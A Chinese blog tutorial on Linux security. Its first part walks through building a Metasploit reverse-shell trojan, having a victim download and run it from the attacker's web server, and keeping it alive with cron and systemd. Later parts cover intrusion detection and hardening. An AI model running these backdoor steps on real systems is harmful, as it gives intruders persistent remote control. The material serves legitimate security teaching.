当前位置: 首页 > news >正文

网安--Linux基础知识(二)

一、Linux 木马入侵实战:从制作到持久化控制

学到这里,我们正式进入远程控制与持久化环节,这是渗透测试中最核心的后门技术之一,也是理解服务器安全风险的关键。

1. 木马制作:Metasploit 生成 Linux 后门

Kali Linux 内置的MSF(Metasploit)是生成与控制木马的标准工具,本次使用反向 TCP 木马,让受害机主动连接攻击机,突破防火墙限制。

  • 生成木马命令:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=攻击机IP LPORT=端口 -f elf -o shell.elf
  • 启动监听:
msfconsole use exploit/multi/handler set payload linux/x64/shell/reverse_tcp set lhost 攻击机IP set lport 端口 run

2. 木马植入:让目标下载并运行

  1. 攻击机开启 Apache 服务:service apache2 start
  2. 把木马放到网页目录:mv shell.elf /var/www/html
  3. 受害机下载木马:wget http://攻击机IP/shell.elf -O shell.elf
  4. 关键:添加执行权限chmod +x shell.elf
  5. 运行上线:./shell.elf

重点:Linux 文件必须有x 执行权限才能运行,这也是权限防护的核心点。

3. 持久化控制:开机自启永不掉线

单次运行容易被发现,攻击者会用计划任务、系统服务实现持久化。

(1)计划任务 Cron(定时运行)

查看:crontab -l编辑:crontab -e每分钟执行木马:

* * * * * /shell.elf
(2)系统服务 Systemd(最强持久化)

创建服务文件:/etc/systemd/system/test.service

[Unit] Description=test After=network.target [Service] Type=simple ExecStart=/shell.elf Restart=always [Install] WantedBy=multi-user.target

加载并开机自启:

systemctl daemon-reload systemctl start test.service systemctl enable test.service

三者区别:

  • 启动项:开机一次运行
  • 计划任务:定时重复运行
  • 系统服务:崩溃自动重启,最隐蔽、最稳定

二、Linux 入侵检测:快速揪出木马与后门

学会攻击,更要学会防守排查。这部分是运维与安全工程师的核心技能,能快速定位异常入侵。

1. 日志排查:找到入侵痕迹

Linux 最重要的两个日志:

  • 系统日志:/var/log/syslog
  • 登录认证日志:/var/log/auth.log(SSH 爆破全在这里)

常用排查命令:

# 实时看系统日志 tail -f /var/log/syslog # 看SSH失败登录 journalctl -u ssh | grep 'Failed password' # 看SSH成功登录 journalctl -u ssh | grep 'Accepted password'

2. 可疑账户排查

后门用户是最常见入侵痕迹,必须定期检查:

# 查看所有UID=0的超级用户(正常只有root) awk -F: '$3==0{print $1}' /etc/passwd # 查看有sudo权限的用户 grep -v "^#" /etc/sudoers | grep "ALL="

处理异常用户:

  • 强制下线:pkill -KILL -u 用户名
  • 禁用用户:usermod -L 用户名
  • 删除用户:userdel -r 用户名

3. 进程与网络连接排查

# 看所有进程 ps -ef # 实时看资源(找挖矿木马) top # 看网络连接(找外连IP) ss -ntap netstat -ntulnp

异常特征:

  • 陌生外连 IP
  • CPU / 内存长期 100%
  • 不知名程序占用端口

4. 计划任务与启动项排查

# 查看所有用户计划任务 crontab -l -u root crontab -l -u 其他用户 # 查看开机启动项 ls /etc/init.d/ systemctl list-unit-files --type=service --state=enabled

三、Linux 系统安全加固:从源头挡住攻击

检测是事后,加固才是事前防御。以下是企业级通用加固方案,简单有效。

1. 账户与 SSH 加固

  1. 禁止 root 远程登录(最重要)
nano /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no # 尽量用密钥登录 systemctl restart sshd
  1. 删除无用 / 陌生用户
  2. 所有用户设置强密码

2. 防火墙加固

Ubuntu(ufw):

ufw enable ufw allow 22/tcp ufw allow 80/tcp ufw default deny incoming ufw status

CentOS(firewalld):

systemctl start firewalld && systemctl enable firewalld firewall-cmd --permanent --add-port=22/tcp firewall-cmd --reload

3. 系统与权限加固

  1. 定期更新系统:
# Ubuntu apt update && apt upgrade -y # CentOS yum update -y
  1. 最小权限原则:
  • 重要目录权限:chmod 700 /root
  • 不随意使用chmod 777rm -rf
  1. 关闭不必要开机自启服务

4. 审计监控

安装 auditd 监控关键命令:

apt install auditd systemctl start auditd auditctl -w /usr/sbin/useradd -p x -k useradd_exec
http://www.jsqmd.com/news/521949/

相关文章:

  • Windows 10下MiKTeX与TeXstudio安装配置全攻略(附PDFLaTeX设置技巧)
  • 从ResNet50样例出发:手把手带你用Atlas 300I Pro推理卡跑通第一个AI应用
  • 计算机领域SCI投稿避坑指南:这8本期刊审稿快、录用率高,适合国内学者
  • windows的hadoop集群环境直接配
  • 【JUC 核心基石】开一家“多线程工厂”,把晦涩的线程调度扒得明明白白!
  • Dify自定义节点异步化落地指南(企业级生产环境实测版):从零配置到高并发稳定运行
  • LangChain入门
  • 搭建Matlab风光柴储混合微电网储能电池系统互补能量管理Simulink模型
  • ControlNet FP16优化终极指南:高效AI图像控制的完整解决方案
  • 从零点亮 RK3568 的 LED:设备树,平台总线,现代gpio子系统全解析(附完整代码)
  • Qwen3-ASR-0.6B多场景:直播实时字幕、短视频配音识别、有声书制作辅助
  • 2026年金华抗起球德绒保暖内衣厂家推荐,好用的有哪些 - mypinpai
  • Tessent Scan 入门完全指南
  • manwa2漫蛙2下载安装图文教程 | 2026漫蛙正版阅读软件详解 - xiema
  • RMBG-1.4抠图效果实测:发丝、宠物毛都能精准分离,太强了
  • 高等数学级数入门:从概念到实战,5个常见级数问题解析
  • Pulover‘s Macro Creator:终极免费自动化工具完整指南 - 3步实现电脑自动化 [特殊字符]
  • MCP协议到底解决了什么?从Spring AI实战看工具调用的标准化代价
  • 探索一维信号的傅里叶变换与滤波算法之旅
  • SHT25温湿度传感器C语言驱动库设计与嵌入式集成
  • 05postman关联-常用的数据提取方式
  • 3月16日笔记
  • 2026全屋定制参考:定制柜子的好口碑推荐,全屋定制供应商润星装饰市场认可度高 - 品牌推荐师
  • # 发散创新:多方计算在Go语言中的实践与性能优化在现代分布式系统中,**多方计算(Multi-Party Comput
  • 随机生成千山万水动画
  • ESP32实战-构建离线精准计时系统:DS1302 RTC与MicroPython深度集成
  • StepperControl:专为28BYJ-48步进电机优化的轻量级Arduino控制库
  • 2026年3月成都火锅推荐,这些宝藏店铺不容错过!,有名的成都火锅源头厂家选哪家赋能企业生产效率提升与成本优化 - 品牌推荐师
  • T5模型微调实战:从零构建中文生成式问答系统
  • 产品经理效率工具:MT5中文表达多样化,快速生成PRD多版本描述